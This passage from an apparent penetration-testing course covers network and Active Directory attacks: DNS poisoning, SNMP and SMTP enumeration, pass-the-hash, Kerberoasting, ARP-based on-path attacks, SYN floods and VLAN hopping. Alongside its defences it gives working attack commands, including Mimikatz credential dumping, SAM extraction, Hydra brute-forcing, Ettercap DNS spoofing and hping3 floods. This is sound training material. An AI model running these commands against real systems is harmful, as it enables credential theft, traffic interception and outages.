Successful DNS cache poisoning allows an attacker to redirect users from legitimate websites to attacker-controlled lookalike pages — enabling credential theft through phishing. Email traffic can be redirected by poisoning MX records, allowing the attacker to intercept or read corporate email. Certificate issuance for HTTPS can potentially be manipulated by poisoning DNS for domains used in CA domain validation challenges.

5.1.6 Practice — DNS Cache Poisoning

Tools for DNS Poisoning Practice

In a controlled lab environment, DNS poisoning is practiced using a combination of ARP poisoning tools (to create the MITM position) and DNS spoofing tools (to inject forged responses).

Ettercap (covered in depth in 5.1.16) includes a dns_spoof plugin that intercepts DNS queries from poisoned ARP victims and returns forged responses. dnschef is a flexible DNS proxy and spoofer that can selectively respond to specific domain queries with attacker-controlled IP addresses while passing all other queries to the legitimate resolver.

A practical lab flow: establish an ARP poisoning MITM position between a victim and their router (covered in 5.1.14), then intercept DNS queries using Wireshark to observe the query patterns, then use dnschef or Ettercap's dns_spoof plugin to inject forged responses for target domains.

Verifying Poisoning Success

After DNS poisoning, the victim's DNS resolution for the targeted domain should return the attacker's IP. Verify on the victim machine by running nslookup targetdomain.com — if poisoning was successful, the response will show the attacker's IP rather than the legitimate one. Opening the targeted domain in a browser should load whatever content the attacker is serving on their machine.

5.1.7 SNMP Exploits

SNMP Architecture and Security Model

SNMP (Simple Network Management Protocol) is the standard protocol for network device monitoring and management. Network administrators use SNMP to collect performance metrics, configuration data, and operational status from routers, switches, printers, servers, and virtually any network-connected device. SNMP operates on UDP port 161 for queries and UDP port 162 for traps (unsolicited notifications from devices).

The MIB (Management Information Base) is a hierarchical database structure that organizes all the information a device exposes via SNMP. Each piece of information has an OID (Object Identifier) — a dotted-decimal identifier like 1.3.6.1.2.1.1.1.0 that uniquely identifies that specific data point. The OID 1.3.6.1.2.1.1.1.0 is the sysDescr — the system description string that typically reveals the device model and operating system.

The Authentication Problem in SNMPv1 and SNMPv2c

SNMPv1 and SNMPv2c use "community strings" for authentication — essentially plaintext passwords that are included in every SNMP packet. There are conventionally two community strings: the read community string (allowing read-only access to the MIB) and the write community string (allowing modification of device configuration).

The universal default values — "public" for read access and "private" for write access — are so widely known and so frequently left unchanged that they represent one of the most reliable attack vectors in network penetration testing. A significant proportion of network infrastructure in real-world enterprise environments — routers, switches, printers, environmental sensors, UPS devices — still uses default SNMP community strings decades after the vulnerabilities were first documented.

With read access via SNMP, an attacker can enumerate: the complete routing table (revealing internal network topology), the ARP cache (revealing active hosts and their MAC addresses), the interface table (revealing all network interfaces and their configurations), the list of running processes on SNMP-enabled servers, installed software on Windows systems via SNMP extensions, and device configurations on network equipment.

Write access via SNMP is catastrophically worse — it allows modification of device configurations. On routers and switches, SNMP write access has been used to change routing tables, modify ACLs, and alter spanning tree configurations.

SNMPv3 and Its Security Improvements

SNMPv3 introduced proper authentication (HMAC-MD5 or HMAC-SHA) and privacy (encryption via DES or AES). When properly configured, SNMPv3 addresses the authentication weaknesses of earlier versions. However, SNMPv3 adoption remains incomplete — many devices do not support it, many network teams have not migrated, and many deployments use SNMPv3 without enabling privacy (encryption), meaning traffic is still readable even if authentication is secure.

SNMP Enumeration Tools

snmpwalk is the primary tool for SNMP enumeration, traversing the entire MIB tree from a starting OID: snmpwalk -v2c -c public <target_ip> dumps the entire MIB using SNMPv2c with community string "public."

snmp-check is a more user-friendly tool that formats SNMP data into organized sections: snmp-check -c public <target_ip> returns system information, network interfaces, routing tables, TCP connections, and process lists in readable format.

Nmap's SNMP NSE scripts provide targeted enumeration: nmap -sU -p 161 --script snmp-info,snmp-interfaces,snmp-netstat,snmp-processes <target>.

Brute-Forcing SNMP Community Strings

When the default community strings do not work, brute-forcing with a wordlist is often effective because organizations frequently use simple, guessable community strings. onesixtyone is a fast SNMP scanner and community string brute-forcer: onesixtyone -c community_strings.txt <target_ip>. Hydra also supports SNMP: hydra -P /usr/share/wordlists/rockyou.txt <target> snmp.

5.1.8 SMTP Exploits

The SMTP Protocol

SMTP (Simple Mail Transfer Protocol) is the standard protocol for sending email, operating on TCP port 25 (server-to-server), TCP port 587 (client-to-server with authentication, called submission), and historically TCP port 465 (SMTPS, implicit TLS). SMTP is a text-based protocol — commands are plaintext ASCII strings, making it easy to interact with manually using telnet or netcat.

SMTP's design predates modern security thinking. The original protocol had no authentication, no encryption, and no verification of sender identity. While modern SMTP deployments add authentication (SMTP AUTH), TLS encryption, and sender verification mechanisms (SPF, DKIM, DMARC), many deployments remain misconfigured, and legacy servers still lack proper controls.

SMTP User Enumeration

Two SMTP commands enable user enumeration on misconfigured mail servers: VRFY and EXPN.

The VRFY command asks the mail server to verify whether a given email address or username exists: VRFY administrator returns either a positive response confirming the user exists or a negative response. On properly configured servers, VRFY is disabled. On misconfigured servers, it returns valid vs. invalid user status, allowing an attacker to build a valid username list by iterating through potential names.

The EXPN command expands a mailing list alias, revealing all members: EXPN staff might return a list of all email addresses in the staff mailing list. This is even more useful for enumeration as it can reveal user accounts that might not be guessable.

The RCPT TO command can also be used for enumeration — sending a test message to a recipient address and observing whether the server returns a "550 User unknown" error (user does not exist) versus accepting the message. This works even on servers that have disabled VRFY and EXPN.

Open Relay Exploitation

An SMTP open relay is a mail server that allows anyone to send email through it to any destination — it does not restrict who can send mail or to where. Open relays were common in the early internet era and are now recognized as a critical misconfiguration because they enable spam sending and phishing at scale.

Testing for open relay: connect to the SMTP server and attempt to send a message with a from address at a different domain than the server manages and a recipient at yet another domain. If the server accepts this (returns "250 OK" rather than rejecting it), it is an open relay.

SMTP Authentication Attacks

Modern SMTP servers require AUTH LOGIN or AUTH PLAIN authentication before accepting email from clients. These authentication mechanisms can be brute-forced: hydra -l admin@target.com -P /usr/share/wordlists/rockyou.txt smtp://<target>.

SMTP credentials captured in network traffic (when TLS is not used) or through LLMNR/NBT-NS poisoning can be used directly to authenticate to the mail server and send email as legitimate users — enabling sophisticated phishing campaigns that originate from trusted internal addresses.

5.1.9 Practice — SMTP Commands

Manual SMTP Interaction

Understanding SMTP at the command level is essential for security professionals because it enables direct interaction with mail servers for testing without automated tools. Connect to an SMTP server using netcat: nc <target_ip> 25. The server responds with a banner identifying itself. Send EHLO attacker.com to initiate the session and receive the list of supported extensions (AUTH methods, SIZE limits, STARTTLS availability).

A complete manual email sending session: EHLO identifies the sender's domain. MAIL FROM establishes the envelope sender. RCPT TO establishes the recipient. DATA begins the message body (terminated with a period on a line by itself). QUIT ends the session.

Testing VRFY: after EHLO, type VRFY administrator and observe the response. A 252 response means the server cannot verify but will accept delivery (not useful for enumeration). A 550 response means the user does not exist. A 250 response with the full email address means the user exists and VRFY is enabled.

Automated SMTP Enumeration

smtp-user-enum is a specialized tool for SMTP user enumeration: smtp-user-enum -M VRFY -U userlist.txt -t <target> tests each username in the list using the VRFY method. The -M flag accepts VRFY, EXPN, or RCPT to specify the enumeration method.

Metasploit includes the smtp_enum auxiliary module: use auxiliary/scanner/smtp/smtp_enum, set RHOSTS to the target, RPORT to 25, and USER_FILE to a username wordlist, then run.

5.1.10 FTP Exploits

FTP Security Weaknesses

FTP (File Transfer Protocol) was designed in 1971 with no security whatsoever. It transmits all data — including usernames, passwords, and file contents — in plaintext. It operates on two TCP ports simultaneously: port 21 for the control connection (commands and responses) and a dynamically assigned port for data transfer (active mode uses port 20 from the server, passive mode uses a negotiated high port).

The complete absence of encryption is the defining security characteristic of FTP. Any attacker with a man-in-the-middle position on the network can capture FTP credentials and all transferred file contents in plaintext. Wireshark captures FTP traffic trivially — credentials appear in clear text in the control channel.

Anonymous FTP Access

Many FTP servers are configured to allow anonymous authentication — login with username "anonymous" and any email address as the password (traditionally). Anonymous FTP was designed for public file distribution but is frequently misconfigured to allow write access or to expose sensitive directories.

Testing anonymous access: ftp <target_ip>, enter "anonymous" as the username and any string as the password. If accepted, enumerate accessible directories with ls -la and download interesting files with get filename. The ability to write files to an FTP server can enable web shell deployment if the FTP directory overlaps with a web server's document root.

FTP Bounce Attacks

The FTP PORT command in active mode specifies the IP address and port where the server should send data. By specifying a third-party host's IP and an interesting port, an attacker can use the FTP server as a proxy to scan other hosts — the FTP server initiates connections to the specified destinations, appearing as the originating source. This can be used to bypass firewall rules and scan internal network services from a position inside a firewall. Most modern FTP servers restrict PORT commands to the client's own IP address to prevent bounce attacks.

FTP Vulnerability Exploitation

Beyond configuration weaknesses, specific FTP server software versions have had critical vulnerabilities. The ProFTPD 1.3.3c backdoor (CVE-2010-4221) is a classic example: a compromised version of ProFTPD was distributed that included a backdoor triggered by specific input. Metasploit includes the exploit/unix/ftp/proftpd_133c_backdoor module for this.

vsftpd 2.3.4, another widely-deployed FTP server, had a backdoor introduced in a compromised source package (CVE-2011-2523) that opened a root shell on port 6200 when a smiley face ":)" was appended to the username during login. This is a standard exercise in Metasploit labs.

5.1.11 Pass-the-Hash Attacks

Understanding NTLM Authentication

To understand Pass-the-Hash, you must first understand how Windows NTLM authentication works. When a Windows user logs in, their password is never stored as plaintext — instead, Windows stores the NTLM hash (an MD4 hash of the UTF-16 encoded password) in the SAM database (for local accounts) or the NTDS.DIT database (for domain accounts).

When a user authenticates to a network resource using NTLM, the authentication process is a challenge-response mechanism: the client sends a negotiation message identifying its capabilities, the server responds with a challenge (a random 8-byte value), and the client responds by hashing the NTLM hash with the challenge using the HMAC-MD5 function. The server verifies this response by performing the same calculation with the stored hash. Crucially, the actual password is never transmitted — only the hash response to a challenge.

The Attack

Pass-the-Hash exploits a critical design characteristic: Windows NTLM authentication uses the password hash as the authentication secret, not the password itself. If an attacker obtains the NTLM hash (from a memory dump of LSASS, from the SAM database, from a domain controller's NTDS.DIT), they can use that hash directly to authenticate — without ever knowing the actual password.

The classic tool for Pass-the-Hash is the Mimikatz suite, specifically its sekurlsa::pth command: sekurlsa::pth /user:Administrator /domain:CORP /ntlm:<hash> /run:cmd.exe. This spawns a command prompt authenticated as the specified user using the provided hash.

Additionally, the Impacket suite's psexec.py, smbexec.py, and wmiexec.py all support NTLM hash authentication directly: python3 psexec.py -hashes :NTLMhash DOMAIN/Administrator@<target_ip>.

Hash Harvesting Sources

Before Pass-the-Hash, the hashes must be obtained. The primary sources are LSASS memory (where Windows caches credential information of logged-in users), the local SAM database (containing local account hashes), and the domain's NTDS.DIT file (containing all domain account hashes).

Extracting from LSASS with Mimikatz: privilege::debug then sekurlsa::logonpasswords dumps all credentials from LSASS memory. This requires administrative privileges on the target system.

Extracting the SAM database: reg save HKLM\SAM sam.save and reg save HKLM\SYSTEM system.save saves the SAM and SYSTEM hive, which can then be processed with secretsdump.py: python3 secretsdump.py -sam sam.save -system system.save LOCAL.

Pass-the-Hash Detection and Mitigation

Detecting Pass-the-Hash relies on identifying authentication events where the workstation name, source IP, or behavior pattern indicates credential abuse. Windows event logs (specifically Event ID 4624 for successful logon and Event ID 4625 for failed logon) record authentication events, and anomalies like a user authenticating from an unexpected workstation are indicators.

Mitigations include enabling Windows Credential Guard (which uses virtualization-based security to protect LSASS from memory dumping), implementing Protected Users security groups (which disables NTLM for group members), restricting administrative access (reducing the number of accounts whose hashes are worth stealing), and enforcing SMB signing to prevent relay of captured hashes.

5.1.12 Kerberos and LDAP-Based Attacks

Kerberos Architecture

Kerberos is the default authentication protocol for Active Directory environments. Understanding its architecture is essential because multiple attacks in this and the following section target specific components of the Kerberos process.

Kerberos authentication involves three parties: the client (the user or computer requesting access), the KDC (Key Distribution Center, running on the domain controller), and the service (the resource the client wants to access). The KDC consists of two logical services: the Authentication Service (AS) and the Ticket Granting Service (TGS).

The Kerberos flow works as follows. The client sends an AS-REQ (Authentication Service Request) to the KDC requesting a TGT (Ticket Granting Ticket). The KDC's AS component verifies the client's identity (using a pre-authentication value encrypted with the client's password hash) and issues a TGT encrypted with the KDC's secret key (the krbtgt account's NTLM hash). The client now holds a TGT that proves their identity to the KDC without re-entering their password.

When the client wants to access a specific service, they send a TGS-REQ (Ticket Granting Service Request) to the KDC's TGS component, presenting their TGT and requesting a service ticket for the specific service. The TGS verifies the TGT and issues a service ticket encrypted with the service account's NTLM hash. The client presents this service ticket to the actual service to authenticate.

AS-REP Roasting

AS-REP Roasting targets accounts configured with the "Do not require Kerberos preauthentication" attribute. Normally, Kerberos requires the client to prove knowledge of their password before the KDC will issue a TGT — this is preauthentication. When preauthentication is disabled for an account, anyone can request a TGT for that account without knowing the password. The KDC responds with an AS-REP that contains a portion encrypted with the user's password hash.

This encrypted portion can be taken offline and cracked using Hashcat (mode 18200 for AS-REP hashes). The tool GetNPUsers.py from Impacket enumerates accounts without preauthentication and requests their AS-REPs: python3 GetNPUsers.py DOMAIN/ -usersfile users.txt -no-pass -dc-ip <DC_IP>.

LDAP Enumeration and Attacks

LDAP (Lightweight Directory Access Protocol) is the protocol used to query and modify Active Directory. It operates on TCP port 389 (unencrypted) and TCP port 636 (LDAPS, TLS-protected). LDAP queries are the mechanism through which all Active Directory information is accessed — user lists, group memberships, computer objects, GPO settings, and trust relationships.

In many default Active Directory configurations, authenticated domain users can query extensive Active Directory information via LDAP. After obtaining any valid domain credential (even a low-privilege user account), an attacker can use LDAP queries to enumerate the complete domain structure.

ldapdomaindump automates LDAP enumeration and outputs results in HTML, JSON, and grep-able formats: python3 ldapdomaindump.py -u 'DOMAIN\user' -p 'password' <DC_IP>. BloodHound, the most powerful Active Directory attack path mapping tool, collects LDAP data using SharpHound (or its Python equivalent) and visualizes it as a graph showing all possible privilege escalation paths from any user to Domain Admin.

LDAP Null Bind and Anonymous Authentication

Some LDAP implementations allow null bind authentication — connecting without credentials. Older Active Directory deployments and many LDAP implementations (OpenLDAP, Novell eDirectory) may allow anonymous read access to portions of the directory tree. Testing for null bind: ldapsearch -x -H ldap://<target> -b "dc=domain,dc=com". If results return without credentials, anonymous LDAP access is enabled.

5.1.13 Kerberoasting

The Concept

Kerberoasting is one of the most impactful and widely used Active Directory attack techniques. It exploits a fundamental characteristic of Kerberos service tickets: any authenticated domain user can request a service ticket for any service registered in Active Directory, and that service ticket is encrypted with the service account's NTLM hash.

When a service is registered in Active Directory, its account is associated with an SPN (Service Principal Name) — an identifier like MSSQLSvc/dbserver.corp.local:1433 that ties the SQL Server service to its service account. Any domain user can request a Kerberos service ticket for any SPN without any special permissions. The resulting service ticket is encrypted with the NTLM hash of the account that owns that SPN.

The attacker requests service tickets for accounts with SPNs and takes those tickets offline for cracking. Because the tickets are encrypted with the service account's password hash, cracking them reveals the service account's plaintext password. Service accounts in many organizations have weak passwords, never expire, and are highly privileged — making Kerberoasting extraordinarily effective.

Why Service Accounts Are Vulnerable

Service accounts are created to run services (SQL Server, IIS, scheduled tasks, etc.) and are often configured with highly privileged access. They are also often excluded from standard password policies, have passwords that never expire, and are managed by application teams rather than security teams. The combination of high privilege, weak passwords, and infrequent rotation makes service accounts ideal Kerberoasting targets.

Executing Kerberoasting

GetUserSPNs.py from Impacket requests service tickets for all accounts with SPNs: python3 GetUserSPNs.py DOMAIN/user:password -dc-ip <DC_IP> -request. This outputs Kerberos 5 TGS-REP hashes formatted for Hashcat cracking.

In PowerShell from a domain-joined machine: Invoke-Kerberoast from PowerSploit or rubeus.exe kerberoast from Rubeus enumerate SPNs and request tickets.

Cracking with Hashcat using mode 13100 (Kerberos 5, etype 23 TGS-REP): hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt. With a comprehensive wordlist and rule set, weak service account passwords often crack in minutes.

Defense Against Kerberoasting

The primary defense is ensuring service account passwords are long (25+ characters), random, and regularly rotated. Microsoft's GMSA (Group Managed Service Accounts) automatically manages service account passwords — setting them to 240-character random values and rotating them automatically, making Kerberoasting cryptographically infeasible against GMSA accounts.

Monitoring for unusual Kerberos TGS-REQ activity — a single account requesting tickets for many SPNs in a short period — provides detection capability. Windows event ID 4769 (Kerberos Service Ticket Request) with RC4 encryption type (0x17) is a high-fidelity indicator of Kerberoasting, as modern Kerberos uses AES encryption by default and RC4 requests indicate downgrade attacks typical of Kerberoasting tools.

5.1.14 On-Path Attacks

Definition and Positioning

On-path attacks (historically called man-in-the-middle or MITM attacks) involve an attacker positioning themselves between two communicating parties such that all traffic between them passes through the attacker. From this position, the attacker can passively capture all traffic, actively modify traffic in transit, or selectively inject or suppress packets.

Achieving an on-path position on a switched Ethernet network requires actively manipulating network protocol behavior — the switch normally prevents this by directing frames only to the correct destination port. The primary techniques for establishing an on-path position are ARP poisoning, DHCP manipulation (covered in 5.1.23), and DNS manipulation (covered in 5.1.5).

ARP Poisoning — The Foundation of LAN On-Path Attacks

ARP (Address Resolution Protocol) maps IP addresses to MAC addresses at Layer 2. When a device needs to send a packet to an IP address on the same local network, it broadcasts an ARP request asking "Who has IP x.x.x.x? Tell me your MAC address." The device with that IP responds with its MAC address, and the requesting device caches this mapping in its ARP table.

ARP has no authentication and no verification mechanism. Any device can send an unsolicited ARP reply claiming any IP-to-MAC mapping, and receivers will update their ARP cache accordingly. This is called a gratuitous ARP reply, and it is the mechanism ARP poisoning exploits.

To establish an on-path position between victim A (IP: 192.168.1.10) and their router (IP: 192.168.1.1), the attacker sends two continuous streams of forged ARP replies: to victim A, saying "192.168.1.1 is at [attacker's MAC]," and to the router, saying "192.168.1.10 is at [attacker's MAC]." Both victim and router update their ARP caches with the attacker's MAC address for each other's IP. Now all traffic from A to the router and from the router to A passes through the attacker's machine, which must be configured to forward packets (IP forwarding enabled) to maintain the connection while intercepting traffic.

SSL Stripping

With an on-path position established, the attacker faces a significant obstacle: HTTPS traffic is encrypted with TLS, making content interception impossible even with a MITM position. SSL stripping is a technique that downgrades HTTPS connections to HTTP.

The attack works by intercepting the victim's initial HTTP request to a website, performing the HTTPS connection to the server on behalf of the victim, and then serving the content back to the victim over HTTP (unencrypted). The victim receives what appears to be a normal website but over an unencrypted connection, allowing the attacker to see all traffic including credentials.

SSL stripping is mitigated by HSTS (HTTP Strict Transport Security), a policy mechanism that instructs browsers to always use HTTPS for a domain and refuse HTTP connections. However, HSTS only protects users who have previously visited a site (the HSTS policy is delivered via HTTP response header and cached by the browser) — first-time visitors and users who clear their browser cache are still vulnerable.

Tools for On-Path Attacks

Ettercap is the classic tool for ARP poisoning and on-path attacks, combining ARP poisoning, traffic capture, protocol dissection, and plugin-based attacks: ettercap -T -i eth0 -M arp:remote /victim_ip/ /router_ip/.

Bettercap is the modern, more capable successor to Ettercap: bettercap -iface eth0, then within the interactive console: net.probe on to discover hosts, arp.spoof.targets <victim_ip>, arp.spoof on to start poisoning, net.sniff on to capture traffic.

MITMf (Man-in-the-Middle Framework) combines ARP poisoning with numerous attack plugins including SSL stripping, credential capture, and JavaScript injection.

5.1.15 Practice — Kerberos, LDAP, and On-Path Attacks

Building an Active Directory Lab

Practicing Kerberos and LDAP attacks requires an Active Directory lab environment. The minimal setup includes one Windows Server VM configured as a domain controller and one Windows 10 client VM joined to the domain.

Setting up the domain controller: install Windows Server 2019 (evaluation version available free from Microsoft), run Install-WindowsFeature AD-Domain-Services in PowerShell, then Install-ADDSForest -DomainName "corp.local" to create the domain. Create test user accounts with varying privilege levels and configure some accounts with SPNs for Kerberoasting practice.

From Kali, the Impacket suite provides all necessary tools for attacking this lab environment without needing to be domain-joined.

Practicing BloodHound

BloodHound is the most important tool for understanding Active Directory attack paths. Install it on Kali with apt install bloodhound, set up the neo4j database with neo4j start, then access the BloodHound GUI.

Collect data with the Python BloodHound collector: python3 bloodhound-python -u user -p password -d corp.local -ns <DC_IP> -c All. This produces JSON files containing all AD objects and their relationships. Import these into BloodHound and use the built-in queries to find "Shortest Path to Domain Admins" — which visually displays every attack path from the current user to Domain Admin.

5.1.16 Lab — On-Path Attacks with Ettercap

Ettercap Configuration and Execution

Ettercap is pre-installed on Kali Linux. Before running it, enable IP forwarding to ensure intercepted traffic continues flowing to its destination: echo 1 > /proc/sys/net/ipv4/ip_forward.

Launch Ettercap in graphical mode: ettercap -G. Select the network interface. Go to Hosts → Scan for Hosts to discover all devices on the network segment. Open the Host List, add the victim's IP to Target 1 and the router's IP to Target 2. Go to Mitm → ARP Poisoning, check "Sniff remote connections," click OK. Go to Start → Start Sniffing.

Ettercap will now intercept all traffic between the victim and the router, displaying captured credentials and protocol information in real time.

DNS Spoofing with Ettercap's Plugin

Ettercap includes a dns_spoof plugin that intercepts DNS queries from poisoned victims and returns forged responses. Configure the plugin by editing /etc/ettercap/etter.dns and adding entries like *.targetsite.com A 192.168.1.100 (where 192.168.1.100 is the attacker's IP running a fake web server). Activate the plugin in Ettercap: Plugins → Manage Plugins → dns_spoof → double-click to activate.

Now when the victim attempts to visit targetsite.com, their DNS query is intercepted and the attacker's IP is returned, loading the attacker's fake site instead.

5.1.17 Route Manipulation Attacks

BGP Hijacking

BGP (Border Gateway Protocol) is the routing protocol that manages how packets travel across the internet, determining paths between Autonomous Systems (ASes) — the large network blocks operated by ISPs, cloud providers, and large organizations. BGP's design assumes trust between AS peers: when one AS announces that it owns a block of IP addresses, other ASes believe it and update their routing tables accordingly.

BGP hijacking occurs when an AS announces ownership of IP address space that belongs to another AS. All BGP routers that receive this announcement and find it matches or is more specific than their current route will redirect traffic destined for those addresses to the hijacking AS. The attacker can then intercept, inspect, or blackhole that traffic.

The most famous BGP hijacking incidents include the 2010 China Telecom incident where Chinese routing tables briefly captured 15% of internet traffic, the 2008 Pakistan Telecom YouTube blackout (intentional route leak that took YouTube offline globally for hours), and the 2018 Amazon Route 53 BGP hijack used to steal cryptocurrency.

BGP hijacking at the AS level requires control of BGP-speaking infrastructure — a significant barrier. However, BGP misconfigurations within organizational networks (route leaks) can occur without deliberate malice and have been weaponized by sophisticated attackers with access to network infrastructure.

OSPF and Internal Routing Protocol Attacks

Within large enterprise networks, OSPF (Open Shortest Path First) is commonly used as the internal routing protocol. OSPF uses a link-state algorithm where all routers share topology information and independently calculate the shortest paths. An attacker with access to a network segment where OSPF hellos are transmitted can potentially inject fraudulent OSPF LSAs (Link State Advertisements) to manipulate routing tables — redirecting traffic through attacker-controlled paths.

This requires sending valid OSPF packets, which requires knowledge of the OSPF area ID and authentication (MD5 authentication is common but not universal). Scapy can craft custom OSPF packets for protocol-level attacks in authorized testing scenarios.

5.1.18 DoS and DDoS Attacks

Denial of Service — The Concept

A Denial of Service (DoS) attack aims to make a system, service, or network resource unavailable to legitimate users. Unlike other attacks in this module that aim for unauthorized access, DoS attacks aim for unavailability. The impact can be direct financial loss (e-commerce downtime), reputational damage, or used as a distraction while another attack proceeds undetected.

DoS attacks work by exhausting one of three limited resources: bandwidth (flooding the target's network connection), computational resources (overwhelming the CPU or memory), or state (exhausting connection tracking tables or session state).

SYN Flood — Exploiting TCP's Three-Way Handshake

The SYN flood is the classic resource exhaustion DoS attack, exploiting the stateful nature of TCP connections. When a server receives a SYN packet (the first step of the TCP three-way handshake), it allocates memory for the half-open connection, responds with a SYN-ACK, and waits for the final ACK. This half-open connection remains in memory for typically 75 seconds.

In a SYN flood, the attacker sends thousands of SYN packets per second with spoofed source IP addresses. The server allocates memory for each half-open connection and sends SYN-ACKs to the spoofed addresses (which never complete the handshake). The server's connection table fills completely, preventing legitimate connections from being established. The server appears unresponsive to legitimate users while the attack continues.

SYN cookies are the primary defense: instead of allocating memory immediately on SYN receipt, the server encodes the connection parameters in the SYN-ACK's sequence number. Memory is only allocated when a valid ACK is received — one that includes the correct sequence number derived from the SYN cookie. This means the server only allocates state for connections that complete the handshake.

UDP Flood and Amplification Attacks

UDP floods send massive volumes of UDP packets to random ports on the target, exhausting bandwidth and forcing the target to generate ICMP "port unreachable" responses for each received packet, further consuming resources.

Amplification attacks use UDP protocols with asymmetric request/response ratios to amplify attack traffic. DNS amplification sends small DNS queries with the victim's spoofed source IP to open DNS resolvers, which return large responses to the victim. The amplification factor for DNS can be 50x-100x. NTP amplification using the monlist command (which returns the last 600 clients) achieves amplification factors over 500x. Memcached amplification achieved factors exceeding 50,000x in 2018 attacks.

DDoS — Distributed Denial of Service

DDoS distributes the attack traffic across many sources simultaneously, typically a botnet of thousands to hundreds of thousands of compromised devices. This creates several challenges for defense: the total bandwidth can exceed any single upstream mitigation capability, traffic appears to come from legitimate IP addresses distributed globally, and blocking individual source IPs is ineffective.

The Mirai botnet (2016) demonstrated the potential of IoT botnets — 600,000+ compromised cameras, DVRs, and routers generating 1.1 Tbps of traffic against Dyn DNS, taking down Twitter, Netflix, Reddit, and other major services. IoT devices are particularly vulnerable because they run embedded Linux with default credentials, are rarely updated, and are always online.

Application Layer DoS (Layer 7)

Unlike volumetric attacks that flood with packets, Layer 7 DoS attacks send seemingly legitimate HTTP requests designed to consume disproportionate server resources. A single HTTP request for a complex search query, a large file download, or a computationally expensive API endpoint can consume far more resources than a simple request.

Slowloris attacks establish many connections to a web server and send partial HTTP headers very slowly, keeping connections open without completing requests. The server's connection table fills with these "slow" connections, preventing legitimate connections. This attack requires very little bandwidth on the attacker's side.

5.1.19 Practice — DoS and DDoS Attacks

Lab-Safe DoS Testing

DoS attacks must only ever be performed against systems you own or have explicit written permission to test. In a lab environment using VMs on an internal network, DoS testing is safe and educational.

hping3 is the primary tool for crafting DoS test traffic: hping3 -S --flood -V -p 80 <target_vm_ip> sends a SYN flood to port 80 of the target VM. The --flood flag disables waiting for responses, the -S flag sets the SYN bit, and -V enables verbose output. Observe the target VM's resource usage in Task Manager (Windows) or top (Linux) to see the impact.

For SYN cookies testing: configure the target Linux VM with sysctl net.ipv4.tcp_syncookies=1 and repeat the hping3 flood — the target should remain responsive to legitimate connections.

Metasploit Auxiliary DoS Modules

Metasploit includes numerous DoS modules for specific vulnerabilities — not volumetric attacks but protocol-specific conditions that crash specific software versions. These are appropriate for authorized penetration testing to demonstrate that a specific service version is vulnerable to a DoS condition: use auxiliary/dos/tcp/synflood, set RHOST and RPORT, run.

5.1.20 Network Access Control (NAC) Bypass

What is NAC?

Network Access Control (NAC) is a security technology that enforces policy compliance before allowing devices to connect to a network. When a device connects to a NAC-protected network port, the switch holds the device in an isolated quarantine VLAN until the device proves it meets security requirements — typically running current antivirus, having current OS patches, and being an approved corporate asset.

NAC implementations use 802.1X (Port-Based Network Access Control) as the authentication framework. 802.1X involves three components: the supplicant (the connecting device), the authenticator (the network switch), and the authentication server (typically RADIUS, which validates credentials against Active Directory or a certificate authority).

MAC Spoofing Bypass

Some NAC implementations use MAC address filtering as a simpler alternative to full 802.1X — only allowing devices whose MAC addresses are in an approved list. MAC address spoofing trivially bypasses this: ip link set eth0 address AA:BB:CC:DD:EE:FF changes the interface MAC address on Linux. By spoofing the MAC address of an approved device (discovered through network reconnaissance or physical access), an attacker can gain network access.

802.1X Bypass Techniques

More sophisticated 802.1X bypass techniques exploit the gap between when a device connects and when authentication completes, or target the behavior of NAC implementations when a non-supplicant device (one that cannot respond to 802.1X authentication) is connected.

Some organizations configure NAC to fall back to MAC authentication when a device does not respond to 802.1X challenges — intended to accommodate printers and IoT devices that cannot run supplicant software. An attacker can suppress 802.1X responses and rely on MAC authentication bypass instead.

Placing an unauthorized device between an authorized 802.1X authenticated device and the switch allows the unauthorized device to access the authenticated session — some NAC implementations do not detect this "man in the middle" position between the switch and an authenticated endpoint.

5.1.21 VLAN Hopping

VLAN Architecture

VLANs (Virtual Local Area Networks) are a network segmentation mechanism that creates logical separation within a physical network infrastructure. Devices in VLAN 10 cannot communicate directly with devices in VLAN 20 without traffic passing through a router or Layer 3 switch — this is the fundamental security property VLANs are designed to provide. Organizations use VLANs to separate guest networks from corporate networks, segment finance from engineering, isolate IoT devices, and create the DMZ for internet-facing servers.

VLAN tags are added to Ethernet frames using the 802.1Q protocol — a 4-byte header addition that includes the VLAN ID (12 bits, allowing VLANs 1-4094) and priority information. Trunk ports (connections between switches or between switches and routers) carry traffic from multiple VLANs simultaneously, with 802.1Q tags distinguishing which VLAN each frame belongs to. Access ports (connections to end devices) belong to a single VLAN and strip the 802.1Q tag before delivering frames to the device.

Switch Spoofing

Switch spoofing is a VLAN hopping technique that exploits the Dynamic Trunking Protocol (DTP), a Cisco protocol that automatically negotiates trunk port establishment between switches. If a switch port is configured with DTP in "dynamic desirable" or "dynamic auto" mode, it will automatically become a trunk port if the connected device claims to be a switch and requests trunking.

By sending DTP frames, an attacker's device can negotiate a trunk port with the switch. Once trunking is established, the attacker's device can send and receive frames tagged with any VLAN ID, effectively bypassing VLAN segmentation entirely.

The defense is disabling DTP on all ports not intentionally used as trunks: switchport nonegotiate and switchport mode access on all access ports prevents DTP negotiation.

Double Tagging

Double tagging is a VLAN hopping technique that does not require DTP and works even against properly configured access ports, but only allows traffic injection into the target VLAN (not receipt of responses).

The attack exploits how some switches handle 802.1Q frames. When a switch receives a frame on an access port in the native VLAN (the VLAN used for untagged traffic on trunk ports), it strips the VLAN tag. If an attacker sends a frame with two 802.1Q tags — an outer tag matching the native VLAN and an inner tag for the target VLAN — the first switch strips the outer tag and forwards the frame (now with only the inner tag) onto the trunk link. The next switch reads the inner tag and delivers the frame to the target VLAN.

The defense is changing the native VLAN to an unused VLAN (not VLAN 1, which is the typical default) and explicitly tagging the native VLAN on all trunk ports.

5.1.22 Practice — NAC Bypass and VLAN Hopping

Practicing Switch Spoofing

Practicing VLAN hopping in a lab environment requires a managed switch that supports 802.1Q and DTP, or GNS3/EVE-NG network simulation with Cisco IOS images. Physical switches are preferable for authenticity.

Yersinia is a network attack tool that includes VLAN hopping capabilities via DTP exploitation: yersinia -G opens the graphical interface, where DTP attacks can be launched against discovered switches. The tool also supports attacks against STP (Spanning Tree Protocol), CDP (Cisco Discovery Protocol), and DHCP.

Validating VLAN Segmentation

From a security assessment perspective, VLAN segmentation testing involves attempting to reach hosts in different VLANs from a test position. If successful, a finding is raised indicating VLAN isolation is ineffective. If VLANs are properly configured and DTP is disabled, switch spoofing should fail — no trunk is established and traffic is confined to the access VLAN.

5.1.23 DHCP Starvation Attacks and Rogue DHCP Servers

How DHCP Works

